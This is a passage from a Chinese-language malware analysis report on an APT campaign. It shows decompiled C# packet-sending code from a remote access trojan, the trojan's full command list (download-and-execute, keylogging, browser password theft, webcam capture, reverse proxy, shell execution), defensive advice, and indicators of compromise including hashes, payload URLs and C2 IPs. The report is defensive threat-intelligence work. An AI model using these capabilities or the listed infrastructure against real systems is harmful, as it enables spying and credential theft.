        lock (sendBuffers)
        {
            if (this._sendBuffers.Count == 0)
            {
                this.SendCleanup(false);
                return;
            }
            payload = this._sendBuffers.Dequeue();
        }
        try
        {
            // 发送数据包
            this._handle.Send(this.BuildPacket(payload));
            continue;
        }
        catch (Exception ex)
        {
            this.OnClientFail(ex);
            this.SendCleanup(true);
        }
        return;
    }
    this.SendCleanup(true);
}
// 对需要向服务器发送的数据包进行QuickLZ压缩和AES加密
private byte[] BuildPacket(byte[] payload)
{
    payload = SafeQuickLZ.Compress(payload, 3);
    payload = AES.Encrypt(payload);
    byte[] array = new byte[payload.Length + this.HEADER_SIZE];
    Array.Copy(BitConverter.GetBytes(payload.Length), array, this.HEADER_SIZE);
    Array.Copy(payload, 0, array, this.HEADER_SIZE, payload.Length);
    return array;
}

  指令功能列表如下:

指令 功能
GetAuthentication 获取主机身份标志信息
DoDownloadAndExecute 执行下载的EXE程序
DoUploadAndExecute 执行上传
DoClientDisconnect 客户端关闭连接
DoClientReconnect 客户端重新连接
DoClientUninstall 客户端卸载
DoAskElevate 提升进程权限
GetDesktop 获取桌面截图
GetWebcam 使用摄像头拍摄
GetProcesses 获取进程信息
DoProcessKill 杀掉指定进程
DoWebcamStop 停止摄像头拍摄
DoProcessStart 启动进程
GetDrives 获取驱动器信息
GetDirectory 获取目录信息
DoDownloadFile 下载文件
DoUploadFile 上传文件
DoMouseEvent 鼠标控制
DoKeyboardEvent 键盘控制
GetSystemInfo 获取系统信息
DoVisitWebsite 访问指定站点
DoShowMessageBox 显示消息框
DoClientUpdate 客户端更新
GetWebcams 获取网络摄像头信息
GetMonitors 获取屏幕截图
DoShellExecute 执行shell命令
DoPathRename 路径重命名
DoPathDelete 路径删除
DoShutdownAction 关机
GetStartupItems 获取启动项
DoStartupItemAdd 添加启动项
DoStartupItemRemove 删除启动项
DoDownloadFileCancel 取消下载文件
DoLoadRegistryKey 加载注册表项
DoCreateRegistryKey 创建注册表项
DoDeleteRegistryKey 删除注册表项
DoRenameRegistryKey 重命名注册表项
DoCreateRegistryValue 创建注册表键值
DoDeleteRegistryValue 删除注册表键值
DoRenameRegistryValue 重命名注册表键值
DoChangeRegistryValue 更改注册表键值
GetKeyloggerLogs 获取键盘日志
GetPasswords 获取浏览器储存的密码
GetConnections 获取连接
DoCloseConnection 关闭连接
ReverseProxyConnect 建立反向代理连接
ReverseProxyData 接收反向代理数据
ReverseProxyDisconnect 断开反向代理连接

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

瑞星ESM扫描截图

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    E0CF0881DE0FE35732BB02C1F4DF02A3
    D4BB07F5A9462612CD0E8A9290E27FC8
    8F411A46490016AC5D126B83CEE65022
    9D8C438B710B314B2DC2E003B2F177B7
    3C687FB0A1921A53F9C607938F25FDD1
  • URL

    hxxps://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t
    hxxps://drive.google.com/uc?export=download&id=1i5iaaCK6wjd3_liWZ5VpcXEi9NMlGWp7&confirm=t
    hxxps://drive.google.com/uc?export=download&id=17dzkPuJ-PAZFok58b9r73zdWpyrYAeI9&confirm=t
  • IPV4

    1.234.41.14
    115.21.139.222
    121.160.252.1

参考链接

Author